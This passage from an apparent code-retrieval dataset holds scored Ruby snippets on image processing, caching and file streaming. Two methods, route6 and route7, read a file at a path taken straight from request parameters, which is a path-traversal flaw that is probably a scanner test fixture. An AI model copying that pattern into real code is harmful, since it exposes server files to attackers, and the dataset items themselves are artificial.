|size| size.to_i }\n largest_page = sizes.index(sizes.max)\n favicon.format \"png\", largest_page\n\n thumbImage = FeedsHelper::resize_and_crop(favicon, 88)\n thumbnailURL = FeedsHelper::upload_thumbnail_to_aws(thumbImage, 'cloudspace_rss_thumbs')\n\n return thumbnailURL\n end", "title": "" }, { "docid": "b086b43de36f33325e643656b45fff61", "score": "0.476961", "text": "def generate_autotile_bmp(id, autotiles)\n autotile = autotiles[id / 48 - 1]\n return Bitmap.new(32, 32) if !autotile or autotile.width < 96\n src = SRC\n id %= 48\n tiles = Autotiles[id >> 3][id & 7]\n frames = autotile.width / 96\n bmp = Bitmap.new(32, frames * 32)\n frames.times do |x|\n anim = x * 96\n 4.times do |i|\n tile_position = tiles[i] - 1\n src.set(tile_position % 6 * 16 + anim, tile_position / 6 * 16, 16, 16)\n bmp.blt(i % 2 * 16, i / 2 * 16 + x * 32, autotile, src)\n end\n end\n bmp.update\n return bmp\n end", "title": "" }, { "docid": "06567e6b5eddcd7e6ae20a636ff41496", "score": "0.47634602", "text": "def generate_captcha\n Rails.logger.info(\"#{Time.now}: generate_captcha in EasyCaptcha. params: #{params}.\")\n # create image\n image = generate_captcha_image\n # cache image\n cache_image(image) if EasyCaptcha.cache\n # return image\n image\n end", "title": "" }, { "docid": "77d22647addd3121885c02cedd1a67a9", "score": "0.4760494", "text": "def setup\n size 640, 360\n @image = create_image 230, 230, ARGB\n @image.pixels.length.times do |i|\n @image.pixels[i] = color 0, 90, 102, (i % @image.width * 2) # red, green, blue, alpha\n end\nend", "title": "" }, { "docid": "3b3574243ec9a1645cd05e7aefca6c23", "score": "0.47555503", "text": "def createImage(context, flags, image_format, image_desc, host_ptr = nil, error_info: nil)\n context = context.handle if context.kind_of? CLUContext\n errcode_ret_buf = ' ' * 4\n\n mem = OpenCL.clCreateImage(context, flags, image_format, image_desc, host_ptr, errcode_ret_buf)\n errcode_ret = errcode_ret_buf.unpack(\"l\")[0]\n error_info << errcode_ret if error_info != nil\n\n if errcode_ret == OpenCL::CL_SUCCESS\n @mem = mem\n return @mem\n else\n return nil\n end\n end", "title": "" }, { "docid": "cd58692a264c7acff3dddd64a3ff35bd", "score": "0.47548905", "text": "def optimize_image(original)\n original = Path.convert(original)\n return unless (workers = workers_for_image(original))\n\n optimized = @cache.fetch(original) do\n timer = timeout && Timer.new(timeout)\n\n Handler.for(original) do |handler|\n begin\n workers.each do |worker|\n handler.process do |src, dst|\n worker.optimize(src, dst, timeout: timer)\n end\n end\n rescue Errors::TimeoutExceeded\n handler.result\n end\n end\n end\n\n return unless optimized\n\n OptimizedPath.new(optimized, original)\n end", "title": "" }, { "docid": "c6cd62ac374de7bfe2655232e4386911", "score": "0.47515115", "text": "def create_memo\n @memo_sprites = []\n 4.times do |index|\n s = UI::VoltorbFlip::MemoTile.new(@viewport, index)\n s.set_position(MemoDispX + MemoTileDispOffX, MemoDispY + MemoTileDispOffY + index * MemoTileSize)\n @memo_sprites[index] = s\n end\n @memo_disabler = Sprite.new(viewport).set_bitmap('voltorbflip/memo_button', :interface).set_rect_div(1, 0, 2, 1)\n @memo_disabler.set_position(MemoDispX + MemoTileDispOffX - 1, MemoDispY + MemoTileDispOffY + 4 * MemoTileSize)\n end", "title": "" }, { "docid": "cbc7c21253bdcac06cf10bb92b49ca07", "score": "0.47487277", "text": "def image_dimensions(attribute)\n original = self.send(attribute).queued_for_write[:original]\n if original\n image_path = original.path\n image = HeritageImage.new image_path\n self.send \"#{attribute}_dpi=\", image.dpi\n self.send \"#{attribute}_width=\", image.width\n self.send \"#{attribute}_height=\", image.height\n end\n end", "title": "" }, { "docid": "a0588f32d091728082b3856a29d737d1", "score": "0.47408065", "text": "def apply(source)\n destination = generate_filename(source)\n FileUtils.cp(source, destination)\n image = Image.read(source).first\n @width = image.columns\n @height = image.rows\n image.destroy!\n process(destination)\n end", "title": "" }, { "docid": "27c2b06e93e4a30702928e0f9dc25255", "score": "0.47370663", "text": "def create_image\n xfrm = selected_layers(load_image_transformer)\n yield(xfrm) if block_given?\n xfrm.format(directives.fetch(:format))\n xfrm.quality(quality.to_s) if quality\n\n # check image profile of original file\n if source_data['backgroundColor'] == '#FFFFFFFFFFFF0000'\n Rails.logger.info \"\\n\\n######\\nbackground color is black\\n######\\n\\n\"\n xfrm.negate\n end\n\n write_image(xfrm)\n end", "title": "" }, { "docid": "10463fbad440da57008e4d72e9d76733", "score": "0.47352746", "text": "def proof_of_membership_image\n cache.read(pom_image_cache_key)\n end", "title": "" }, { "docid": "10d13bc7363dea2560be940a86f16ca4", "score": "0.47325158", "text": "def expand_texture!\n raise \"Safety limit reached\" if @texture.height * 2 > MAX_HEIGHT\n @texture = ChunkyPNG::Image.new(\n WIDTH, @texture.height * 2, BACKGROUND\n ).replace!(@texture)\n end", "title": "" }, { "docid": "f2db27be983ef189ea567b39a7bbf720", "score": "0.47296068", "text": "def add_image_if_needed(image_url)\n unless self.images.exists?(url: image_url)\n image = self.images.create(url: image_url) \n \n begin\n image.upload_from_url\n rescue\n image.deny!\n end\n \n image.set_md5_sum\n \n if image.has_duplicate_md5_sum?\n image.deny!\n else \n image.set_dominant_color \n end\n \n image.save\n end\n end", "title": "" }, { "docid": "21784413f84ab120f775c49e3b6e722c", "score": "0.47245315", "text": "def create_preview\n # {{{ \n open_image()\n @img.resize_to_fit!(300, 30000) # Force adjustment to width only\n @img.write(temp_filename_for(@media_asset_id + '_show'))\n end", "title": "" }, { "docid": "a5af60116d38d1a543bc636b61a61312", "score": "0.4720432", "text": "def thumbnail(width, height)\n manipulate! do |img|\n img = img.resize_to_fill(width, height)\n end\n end", "title": "" }, { "docid": "b530ab8df66be1aa4a8708c7aa6f8985", "score": "0.4714195", "text": "def before_create\r\n\t\timg = GD2::Image::load(self.image.data)\r\n\t\timg2 = GD2::Image::TrueColor.new(self.width, self.height)\r\n\r\n\t\timg2.draw do |canvas|\r\n\t\t\tcanvas.color = GD2::Color::WHITE\r\n\t\t\tcanvas.rectangle 0, 0, self.width, self.height, true\r\n\t\tend\r\n\r\n\t\tcase (scaling_mode || :crop)\r\n\t\twhen :crop\r\n\t\t\tsh = self.height.to_f / img.height.to_f\r\n\t\t\tsw = self.width.to_f / img.width.to_f\r\n\t\t\tif sw > sh\r\n\t\t\t\ty = self.height * img.width / self.width\r\n\t\t\t\timg2.copy_from(img, 0, 0, 0, 0, self.width, self.height, img.width, y)\r\n\t\t\telse\r\n\t\t\t\tx = self.width * img.height / self.height\r\n\t\t\t\timg2.copy_from(img, 0, 0, 0, 0, self.width, self.height, x, img.height)\r\n\t\t\tend\r\n\t\twhen :croppedin\r\n\t\t\t# this crops in about 15% from each side\r\n\t\t\timg2.copy_from(img, 0, 0, (img.width * 0.15).round, (img.height * 0.15).round, self.width, self.height, (img.width * 0.7).round, (img.height * 0.7).round)\r\n\t\twhen :stretch\r\n\t\t\timg2.copy_from(img, 0, 0, 0, 0, self.width, self.height, img.width, img.height)\r\n\t\twhen :fit\r\n\t\t\ts = [self.height.to_f / img.height.to_f, self.width.to_f / img.width.to_f].min\r\n\t\t\tw = img.width * s\r\n\t\t\th = img.height * s\r\n\t\t\tx = (self.width - w) / 2\r\n\t\t\ty = (self.height - h) / 2\r\n\t\t\timg2.copy_from(img, x, y, 0, 0, w, h, img.width, img.height)\r\n\t\tend\r\n\t\tself.data = img2.jpeg(80)\r\n\r\n\t\tself.content_type = 'image/jpeg'\r\n\t\tself.filename = \"#{self.width}x#{self.height}-\" + self.image.filename\r\n\t\tself.caption = self.image.caption\r\n\trescue\r\n\t\tlogger.error('Error creating thumbnail image for image #' + id.to_s)\r\n\tend", "title": "" }, { "docid": "6c73fd7fe189ce8bbee10ef17d3f3bba", "score": "0.4712045", "text": "def build_image_object file\n if ::File === file\n cache_key = ((::File.absolute_path? (file_path = file.path)) ? file_path : (File.absolute_path file_path)).to_sym\n info = image_info_cache[cache_key]\n end\n unless info\n image_content = verify_and_read_image file\n if cache_key || !(info = image_info_cache[(cache_key = ::Digest::SHA1.hexdigest image_content)])\n # build the image object\n info = (::Prawn.image_handler.find image_content).new image_content\n renderer.min_version info.min_pdf_version if info.respond_to? :min_pdf_version\n image_info_cache[cache_key] = info\n end\n end\n # reuse image if it has already been embedded\n unless (image_obj = image_registry[cache_key])\n # add the image to the PDF then register it in case we see it again\n image_registry[cache_key] = image_obj = info.build_pdf_object self\n end\n [image_obj, info]\n end", "title": "" }, { "docid": "e81351db81048e5e4312ddb21dc326e8", "score": "0.47111404", "text": "def draw_item_image\n return unless @picture\n bitmap = Cache.picture(\"itemtex018\")\n rect = Rect.new(0, 0, 32, 32)\n dest_rect = Rect.new(12, 12, 64, 72)\n contents.stretch_blt(dest_rect, bitmap, rect) \n bitmap.dispose\n end", "title": "" }, { "docid": "e2ba15b35967cdbe490528042b06e883", "score": "0.47108024", "text": "def images_cached\n @cache.size\n end", "title": "" }, { "docid": "cf5050ec35d06b2f595b07388f505143", "score": "0.47101793", "text": "def create_cache_if_missing\n return if File.exist?(cache_file_path)\n FileUtils.touch cache_file_path\n end", "title": "" }, { "docid": "9c72baaf5c445339f8676632560ca049", "score": "0.47077835", "text": "def create\n @postpict = Postpict.new(postpict_params)\n @postpict.user_id = current_user.id\n @postpict.image.retrieve_from_cache! params[:cache][:image] if params[:cache][:image].present?\n @postpict.save!\n\n respond_to do |format|\n if @postpict.save\n PostpictMailer.postpict_mail(@postpict).deliver\n format.html { redirect_to @postpict, notice: 'Postpict was successfully created.' }\n format.json { render :show, status: :created, location: @postpict }\n else\n format.html { render :new }\n format.json { render json: @postpict.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c2be7c4e39d310da54b8edc79b4751a", "score": "0.4707528", "text": "def vector_to_png_pixels(pixels)\n original = ::Magick::Image.read(current_path).first\n density = [ original.columns, original.rows ].map { |dimension| (72.0*pixels/dimension).floor }.min\n original.destroy!\n vector_to_png density\n end", "title": "" }, { "docid": "f3173fdf3c371ae5daa37d1076ce6c22", "score": "0.47057685", "text": "def ensure_space(uri, header, body)\n allocate(cache_entry_size(uri, header, body))\n end", "title": "" }, { "docid": "24e1180223354810ff2de3afc4b403d1", "score": "0.47043496", "text": "def show\n if params[:size] == \"large\"\n size = LARGE_SIZE\n else \n size = params[:size] || \"200x200\"\n end\n size = size[0..-($1.length.to_i + 2)] if size =~ /[0-9]+x[0-9]+\\.([a-z0-9]+)/ # trim file extension\n \n id = params[:id].to_i\n \n if cache_exists?(id, size) # look in file system cache before attempting db access\n send_file(full_cache_path(id, size), :type => 'image/jpeg', :disposition => 'inline')\n else\n # resize (keeping image side ratio), encode and cache the picture\n @avatar.operate do |image|\n image.resize size\n @image_binary = image.image.to_blob\n end\n \n # cache data\n cache_data!(@avatar, @image_binary, size)\n \n send_data(@image_binary, :type => 'image/jpeg', :disposition => 'inline')\n end\n end", "title": "" }, { "docid": "0d33c32f41d89650e805de8364309a7b", "score": "0.46986374", "text": "def buildThumbnails()\r\n # noImageFiles = %w[baghead.png ghostImage.png NoImageAvailable.png]\r\r\n thumbs = ImageList.new()\r\n @people.each { |p| \r\n if p.photo_uid \r\n thumbs.read(p.photo.thumb('100x100').file)\r\n else\r\n thumbs.read(\"#{Rails.root}/public/images/NoImageAvailable.png\")\r\n end\r\n }\r\n montage = thumbs.montage do\r\n self.tile=\"+1\"\r\n self.geometry=\"100x100\"\r\n end\r\n montage.write(@fileNames+\".png\")\r\n end", "title": "" }, { "docid": "9a959102df32dacffd7b8c3ac2e972bb", "score": "0.46903953", "text": "def create_canvas\n @canvas = []\n image.rows.times do\n @canvas.push(@pixels.slice!(0, image.columns))\n end\n puts \"CANVAS CREATED!\"\n end", "title": "" }, { "docid": "8922b1918574df7c0764219bdeb15322", "score": "0.4688083", "text": "def image(anime)\n\tid = anime['id']\n\treturn IMAGE_CACHE[id] if IMAGE_CACHE.has_key?(id)\n\tpath = CACHE_DIR_IMAGES + id.to_i.to_s + '.png'\n\tif File.exists?(path)\n\t\tbegin\n\t\t\tIMAGE_CACHE[id] = Vips::Image.new_from_file(path)\n\t\t\treturn IMAGE_CACHE[id]\n\t\trescue\n\t\t\tnil\n\t\tend\n\tend\n\tif anime['main_picture']\n\t\turl = anime['main_picture'].fetch('large', anime['main_picture'].fetch('medium'))\n\t\tbegin\n\t\t\timage = fetch(url).body\n\t\trescue\n\t\t\traise \"#{id}\"\n\t\tend\n\t\tFile.write(path, image)\n\t\tIMAGE_CACHE[id] = Vips::Image.new_from_buffer(image, '')\n\telse\n\t\tIMAGE_CACHE[id] = Vips::Image.text(\"No Image\\n:(\")\n\tend\nend", "title": "" }, { "docid": "7cd07bbc3014a0b167b1bd99e4c24286", "score": "0.4685719", "text": "def apply_size(parsed_instr)\n layer = parsed_instr[:layer]\n if @check\n @buffer = Magick::Image.new(parsed_instr[:width].to_i, parsed_instr[:height].to_i)\n @check = false\n end \n end", "title": "" }, { "docid": "4b7dd4956fa57c8b2761b2b812df5bc5", "score": "0.46849662", "text": "def create_preview_file(image = nil)\n if image.nil?\n medium_image = MiniMagick::Image.from_file(original_file)\n else\n medium_image = image.dup\n end\n Dir.mkdir(preview_file_dir) unless File.exist?(preview_file_dir)\n #\n medium_image.combine_options do |c|\n c.resize \"#{Configuration.medium_width}x#{Configuration.medium_height}\"\n c.strip\n end\n medium_image.write(preview_file)\n query_preview_dimensions(medium_image)\n #\n medium_image\n end", "title": "" }, { "docid": "8d75cf92d62a25749bf67c8bfbc95d52", "score": "0.46848935", "text": "def thumbnail_path(fetch: true)\n begin\n generate_thumbnail unless cached? || !fetch || !source_url\n # This is sensitive enough (depending on an external system) to\n # justify an agressive rescue. #open can produce the following\n # rescue Errno::ETIMEDOUT, Net::ReadTimeout, OpenURI::HTTPError => e\n # And also there is a chance of exception generating the thumbnail\n rescue Exception => e\n raise unless Rails.env.production?\n Rails.logger.error(\"No screenshot fetched for: \" + pkg_name)\n end\n\n if cached?\n generated_thumbnail_path\n else\n default_thumbnail_path\n end\n end", "title": "" } ]
ab480a6dd009da910274ed5f4d033ff7
Stream data from the provided path
[ { "docid": "5ecdcb433aad2f8b55d0dc09c42630cd", "score": "0.6602348", "text": "def stream_from(path, opts = {}, &block)\n klass = opts.fetch(:klass)\n params = opts.fetch(:params, {})\n request = generate_request(path, {\n method: :get,\n content_type: :stream,\n params: params\n })\n\n request.on_body do |chunk|\n if chunk =~ /data:/\n json_string = chunk[chunk.index('{')..chunk.rindex('}')]\n json_data = JSON.parse(json_string)[\"data\"]\n object = klass.new(client: self, params: json_data)\n yield object\n end\n end\n\n run_request(request)\n end", "title": "" } ]
[ { "docid": "746834357732e84eff78093ae5628312", "score": "0.76146287", "text": "def stream_resource(path, options)\n connect.start do |http|\n http.get(\"/data#{path}\", header(options) || {}) do |chunk|\n yield chunk\n end\n end\n end", "title": "" }, { "docid": "d6b841d39b01639288ca889797f306dc", "score": "0.72165185", "text": "def instream(path)\n exec(COMMAND[:instream], path)\n end", "title": "" }, { "docid": "b68dc94cc8571ca95690e37ffd9d8bdb", "score": "0.69461954", "text": "def stream(path, options = {}, &block)\n request(:get, \"/api/v1/streaming/#{path}\", options, &block)\n end", "title": "" }, { "docid": "e66fd69b736ec9e513e9ce0da515aa03", "score": "0.68498945", "text": "def stream\n begin\n # 1.0.8 switch order of these tests because a symlinked file will say yes to 'file?'\n if FileTest.symlink?(@path) or FileTest.directory?(@path)\n tf = Tempfile.new('s3sync')\n if FileTest.symlink?(@path)\n tf.printf('%s', File.readlink(@path))\n elsif FileTest.directory?(@path)\n tf.printf('%s', $S3syncDirString)\n end\n tf.close\n tf.open\n tf\n elsif FileTest.file?(@path)\n File.open(@path, 'rb')\n end\n rescue SystemCallError\n $stderr.puts \"Could not read #{@path}: #{$!}\"\n raise\n end\n end", "title": "" }, { "docid": "8c9ff2087f91863ccd53e26d28997d6f", "score": "0.68374294", "text": "def stream(range = nil)\n File.open(path, \"rb\")\n end", "title": "" }, { "docid": "4641364225f3a9d58ee06c24086a8c5d", "score": "0.6817737", "text": "def stream( opts={} )\n file_content_path = \"#{fs_path('fs-content')}#{Egnyte::Helper.normalize_path(path)}\"\n file_content_path += \"?entry_id=#{opts[:entry_id]}\" if opts[:entry_id]\n @session.streaming_download(file_content_path, opts )\n end", "title": "" }, { "docid": "0fccf2f17d71a924886b480086d09fa8", "score": "0.67507344", "text": "def fetch(path, headers={})\n streaming_request(create_url(path), headers) {|tmp_file| yield tmp_file }\n end", "title": "" }, { "docid": "b786e803484fa3a8a816e33ec5e7b1ee", "score": "0.6714393", "text": "def fetch(path, headers = {})\n streaming_request(create_url(path), headers) { |tmp_file| yield tmp_file }\n end", "title": "" }, { "docid": "f41f2b415b84ca010e11101fbda86289", "score": "0.65377975", "text": "def stream_file(alloc_id, offset, origin: 'start', path: '/')\n connection.get do |req|\n req.url \"client/fs/stream/#{alloc_id}\"\n req.params[:offset] = offset\n req.params[:origin] = origin\n req.params[:path] = path\n end\n end", "title": "" }, { "docid": "948c412112cdc0fe8c7a6bd4842312ac", "score": "0.6522199", "text": "def stream_to path_or_file, in_blocks_of = 8192\n dstio = case path_or_file\n when String then File.new(path_or_file, \"wb+\")\n when IO then path_or_file\n when Tempfile then path_or_file\n end\n buffer = \"\"\n self.rewind\n while self.read(in_blocks_of, buffer) do\n dstio.write(buffer)\n end\n dstio.rewind\n dstio\n end", "title": "" }, { "docid": "6ae281ba13260728cbefae3e9e187264", "score": "0.6342317", "text": "def stream(\n mode = 'r' # https://ruby-doc.org/core-2.7.2/IO.html#method-c-new-label-IO+Open+Mode\n )\n self.path_name.parser do |path|\n fd = path.sysopen(mode)\n IO.open(fd, mode)\n end\n end", "title": "" }, { "docid": "ce71d1fd7a6dc5f76242278832b8466f", "score": "0.63312453", "text": "def stream_to object, path_or_file, in_blocks_of = 8192\n\t\tdstio = case path_or_file\n\t\t\t\t\t\twhen String then File.new(path_or_file, \"wb+\")\n\t\t\t\t\t\twhen IO then path_or_file\n\t\t\t\t\t\twhen Tempfile then path_or_file\n\t\t\t\t\t\tend\n\t\tbuffer = \"\"\n\t\tobject.rewind\n\t\twhile object.read(in_blocks_of, buffer) do\n\t\t\tdstio.write(buffer)\n\t\tend\n\t\tdstio.rewind \n\t\tdstio\n\tend", "title": "" }, { "docid": "b150f18550257d2fc5da2b10542be909", "score": "0.630786", "text": "def write(path=nil)\n IO.copy_stream(data_io, path || @path || path_error)\n self\n end", "title": "" }, { "docid": "bd8e78df6192f9a8f016b9bc64540e09", "score": "0.62666446", "text": "def read(path)\n @path = path\n @file_data = open(@path)\n self\n end", "title": "" }, { "docid": "38bcfdfd64eb4160d7a7ee28e346458d", "score": "0.6203028", "text": "def file(path)\n connection.file(path)\n end", "title": "" }, { "docid": "9dca1209019f1c5d4c3d1fbce47fcb54", "score": "0.6196409", "text": "def put_file_streamed(path,file_stream)\n path = parse_path(path)\n dir_address = Pathname(path).parent.to_s\n @sandbox[dir_address].create\n\n #Temprory hosting the file on virtual space\n File.open(path, 'ab+') do |f|\n f.write(file_stream.data)\n end\n\n\n file_size = File.size(path)\n\n #Posting the streamed file to aws\n @aws_object.store(path, open(path), ENV['bucket']) if $mode != \"test\"\n\n #overwriting the file with zero byte file\n @sandbox[path].write 'x'\n update_descriptor('file_'+path)\n yield file_size\n end", "title": "" }, { "docid": "e19e875314231368e3458b74d393c7c5", "score": "0.61355394", "text": "def file(path)\n full_path = @repository_path + path\n return nil unless full_path.exist?\n FileStreamer.new(full_path)\n end", "title": "" }, { "docid": "70e2d8d3e8e23c1581ac5f59576d14e6", "score": "0.6118646", "text": "def stream\n @stream ||= begin\n prepare_stream\n File.open(destination_path, \"w+\")\n end\n end", "title": "" }, { "docid": "e1480bb20b02ed329c9482e247575758", "score": "0.6117148", "text": "def send_file(path)\n commit!\n @stream = FileBody.new(path)\n end", "title": "" }, { "docid": "a04281a90764c00a384a2f98276f7b1f", "score": "0.61054176", "text": "def stream(key)\n file = file_for(key, skip_lookup: false)\n\n chunk_size = 5.megabytes\n offset = 0\n\n raise ActiveStorage::FileNotFoundError unless file.present?\n\n while offset < file.size\n yield file.download(range: offset..(offset + chunk_size - 1)).string\n offset += chunk_size\n end\n end", "title": "" }, { "docid": "a92893dc4dff852dbd7b4e0a2cfbf752", "score": "0.6093543", "text": "def call(stream)\n\t\t\t\t\twhile chunk = self.read\n\t\t\t\t\t\tstream.write(chunk)\n\t\t\t\t\tend\n\t\t\t\tensure\n\t\t\t\t\tstream.close\n\t\t\t\tend", "title": "" }, { "docid": "b40e5a69a0bbcfc74f2e69bd553d30f0", "score": "0.6046851", "text": "def to_stream(mode='r')\n File.new(@path, mode, :encoding => @encoding)\n end", "title": "" }, { "docid": "eb35894529694990e496e393a04a2ff0", "score": "0.5971861", "text": "def decrypt_stream(path)\n @encrypt_client.get_object(bucket: @bucket, key: path) do |chunk|\n yield chunk\n end\n end", "title": "" }, { "docid": "3b885751368e52cfc4c0b79dd957279a", "score": "0.59565437", "text": "def put_file path, data, mutable = false\n file = File.new @server_url, data, mutable\n self[path] = file\n file.cap\n end", "title": "" }, { "docid": "637e5eece658b464f95424639edd35ad", "score": "0.59527624", "text": "def stream_to_clamd(socket, path)\n begin\n file = File.open(path, \"rb\")\n bytes = file.read(chunk_size)\n\n while bytes\n write_chunk(socket, bytes)\n bytes = file.read(chunk_size)\n end\n stop_streaming(socket)\n ensure\n file.close if file\n end\n end", "title": "" }, { "docid": "c9168d5fe7c5c4f62d96f7ec51cc1991", "score": "0.59430766", "text": "def upload_data!(path, str)\n file.open(path, \"w\") do |stream|\n StringIO.open(str) do |string_io|\n stream.write string_io.read(1024) until string_io.eof?\n end\n end\n end", "title": "" }, { "docid": "3b6ad1b925f11531d5698a2c71100dff", "score": "0.59407973", "text": "def path= path\n assign open(path, 'rb')\n end", "title": "" }, { "docid": "bb54163530a46f95001f03fe3205cbe3", "score": "0.59118736", "text": "def stream(key)\n connection do |ftp|\n ftp.retrbinary(\"RETR #{key}\", 5.megabytes) do |data|\n yield data\n end\n end\n end", "title": "" }, { "docid": "d2f07ef7898f6cc8e0a79735cf873749", "score": "0.5904537", "text": "def input(path)\n @data = _input(path)\n end", "title": "" }, { "docid": "d43dba4cb0a97987fdb3212c1ad0b9aa", "score": "0.5902299", "text": "def stream(id)\n object(id).get { |chunk| yield chunk }\n end", "title": "" }, { "docid": "e99e2a7e597741b7cd515cf6c5b1f28c", "score": "0.58992034", "text": "def stream(path, feed='', params={})\n query = {:query => params.merge!(:T => @auth_token, :output => 'json')}\n feed_name = feed.empty? ? '' : ('/' + feed)\n Helper.request \"#{path}#{feed_name}\", query\n end", "title": "" }, { "docid": "71991514bd2b5d6bd059fe3e06671a06", "score": "0.58417284", "text": "def stream(target, destination)\n FileUtils.mkdir_p(File.dirname(destination))\n\n target = Addressable::URI.parse(target)\n headers = Middleware::ChefAuth.authentication_headers(\n client_name,\n client_key,\n http_method: \"GET\",\n host: target.host,\n path: target.path\n )\n\n unless ssl[:verify]\n headers.merge!(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE)\n end\n\n local = Tempfile.new('ridley-stream')\n local.binmode\n\n open(target, 'rb', headers) do |remote|\n local.write(remote.read)\n end\n \n FileUtils.mv(local.path, destination)\n ensure\n local.close(true) unless local.nil?\n end", "title": "" }, { "docid": "67d5f293c892a80aed1e7e82ba65e2f1", "score": "0.58338314", "text": "def write_file(path, data)\n FileUtils.mkdir_p(root + '/public/' + File.dirname(path))\n open(root + '/public/' + path, 'wb') do |file|\n file << data\n end \n end", "title": "" }, { "docid": "aa6f1a8864d88551ed1e785173d69eac", "score": "0.58281636", "text": "def streaming_request(path, headers = {}, tempfile = nil)\n http_attempts ||= 0\n url = create_url(path)\n response, rest_request, return_value = nil, nil, nil\n data = nil\n\n method = :GET\n method, url, processed_headers, data = apply_request_middleware(method, url, headers, data)\n\n response, rest_request, return_value = send_http_request(method, url, processed_headers, data) do |http_response|\n if http_response.is_a?(Net::HTTPSuccess)\n tempfile = stream_to_tempfile(url, http_response, tempfile)\n end\n apply_stream_complete_middleware(http_response, rest_request, return_value)\n end\n\n return nil if response.is_a?(Net::HTTPRedirection)\n\n unless response.is_a?(Net::HTTPSuccess)\n response.error!\n end\n\n if block_given?\n begin\n yield tempfile\n ensure\n tempfile && tempfile.close!\n end\n end\n tempfile\n rescue Net::HTTPClientException => e\n http_attempts += 1\n response = e.response\n if response.is_a?(Net::HTTPNotAcceptable) && version_retries - http_attempts >= 0\n Chef::Log.trace(\"Negotiating protocol version with #{url}, retry #{http_attempts}/#{version_retries}\")\n retry\n else\n raise\n end\n rescue Exception => e\n log_failed_request(response, return_value) unless response.nil?\n raise\n end", "title": "" }, { "docid": "c46df082f6a6e195f2dbce7b1569d52a", "score": "0.5827463", "text": "def data\n @data ||= File.read(@path)\n end", "title": "" }, { "docid": "73c5f67615cb3552cbc9c04f1deeb210", "score": "0.58113813", "text": "def copy_from_local_via_stream(file, path, options = {})\n opts = options.dup\n fu_log \"copy_from_local_via_stream local=#{file} \" \\\n \"hdfs=#{path}\" if opts.delete(:verbose)\n mode = opts.delete(:mode)\n if mode\n mode = format('%03o', mode) if mode.is_a? Integer\n else\n mode = '644'\n end\n opts[:permission] = mode\n opts[:overwrite] ||= true\n\n client.create(path, File.new(file, 'rb'), opts)\n end", "title": "" }, { "docid": "a22441f9f12779f72726d555c68d9917", "score": "0.5787594", "text": "def stream_to_file(output_path)\n open(output_path, 'wb') do |io|\n read(io)\n end\n output_path\n end", "title": "" }, { "docid": "6aab2394b870929f95c07ffff50f13ee", "score": "0.5785598", "text": "def ingest_from_path_string_or_io(path_s_or_io, opts={})\n opts[:stream_name] ||= caller_locations(1,1)[0].label.camelize(:lower).chomp('=')\n content = nil\n if path_s_or_io.kind_of?(String) && File.exists?(path_s_or_io)\n content = File.open(path_s_or_io)\n else \n content = path_s_or_io # AF doesn't seem to mind String or IO/StringIO\n end\n self.send(\"#{opts[:stream_name]}\").send('content=', content)\n end", "title": "" }, { "docid": "1f3a2fe403be2744b88fc9f4de390e94", "score": "0.57803947", "text": "def get_stream(path, query = {}, opts = {})\n conn = flat_param_conn(path, query)\n verbosity(conn, :get, query)\n stream_connection(conn, query, opts)\n rescue Faraday::TimeoutError\n raise Wavefront::Exception::NetworkTimeout\n rescue StopIteration\n nil\n end", "title": "" }, { "docid": "bedae63f6580bb9cd6a234f4caff3311", "score": "0.57710034", "text": "def stream(name)\n res = @client.get(\"#{path}/streams/#{HTTP::URL.encode(name)}\")\n Stream.new(@client, self, res.json) if res.success?\n end", "title": "" }, { "docid": "4a11dafd47c3ce660e09759daa99d425", "score": "0.575693", "text": "def file\n advance!\n @stream\n end", "title": "" }, { "docid": "94f2309b13e2859843690a7e8fb1d8bb", "score": "0.5749267", "text": "def open(path); end", "title": "" }, { "docid": "94f2309b13e2859843690a7e8fb1d8bb", "score": "0.5749267", "text": "def open(path); end", "title": "" }, { "docid": "930975c6efdd3819a885409916368c86", "score": "0.57481873", "text": "def data\n File.read(@path)\n end", "title": "" }, { "docid": "8737192d7bd2cee506cb269b7c3abb42", "score": "0.5738941", "text": "def stream(destination, *args)\n if @io\n IO.copy_stream(io, destination)\n io.rewind\n else\n safe_open(*args) { |io| IO.copy_stream(io, destination) }\n end\n end", "title": "" }, { "docid": "5b8ca405a4f9860e68513d574c009879", "score": "0.5721007", "text": "def stream(arg)\n @stream = arg\n end", "title": "" }, { "docid": "77712a8827fefa5126005113a6e2173c", "score": "0.5720847", "text": "def write(ftp_path, stream)\n content = StringIO.new\n while line = stream.read\n content << line\n end\n if exists?(ftp_path)\n api_update(ftp_path, content.string)\n else\n api_create(ftp_path, content.string)\n end\n end", "title": "" }, { "docid": "bffd1d1e6234ec7dd9fb4347418d3e4e", "score": "0.57164633", "text": "def open(path, &block)\n @io = File.open(path, 'r+') # TODO: r+ will create the file if it doesn't exist =( Do a exists? check before this and simply return nil? Or raise error? I hate errorrrs\n\n @io.readbyte # Sync\n\n if block_given?\n yield(self)\n\n close\n end\n\n self\n end", "title": "" }, { "docid": "f839715e0f6f284d8e5ac00c9659a719", "score": "0.5712452", "text": "def read_stream(chunksize_hint, &block)\r\n File.open(@filepath, \"rb\") do |ios|\r\n while bytes = ios.read(chunksize_hint)\r\n block.call(bytes)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "4d37c0fe6a801ae863b8dc60cb842509", "score": "0.5679807", "text": "def route6\n path = File.realpath params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "4d37c0fe6a801ae863b8dc60cb842509", "score": "0.5679807", "text": "def route6\n path = File.realpath params[:path]\n @content = File.read path\n end", "title": "" }, { "docid": "f98d6479f1f4013870b6f3e6cbd07112", "score": "0.5676336", "text": "def route7\n path = File.join(\"foo\", \"bar\", \"baz\", params[:path], \"qux\")\n @content = File.read path\n end", "title": "" }, { "docid": "f98d6479f1f4013870b6f3e6cbd07112", "score": "0.5676336", "text": "def route7\n path = File.join(\"foo\", \"bar\", \"baz\", params[:path], \"qux\")\n @content = File.read path\n end", "title": "" }, { "docid": "ecb6c151e65c1d84f2793707cfdf3000", "score": "0.566472", "text": "def download(io, path)\n result = @container.read_file(path)\n io.write(result)\n end", "title": "" }, { "docid": "76ffb33fd58ffb2dbf880311b06cb1be", "score": "0.565233", "text": "def write(path, data)\n open(path, 'w') { |f| f.write(data) }\n end", "title": "" }, { "docid": "128fb3dbbb4da97919cae41d1c02c1a7", "score": "0.564993", "text": "def stream_file(local_path, remote_path)\n local_file = IO.read(local_path)\n\n #encoded_file = Base64.encode64(local_file).gsub(\"\\n\", \"\")\n md5 = Digest::MD5.hexdigest(local_file)\n transfer_path = File.join(File.join(config[:root_path],'transfer'),md5)\n\n perms = 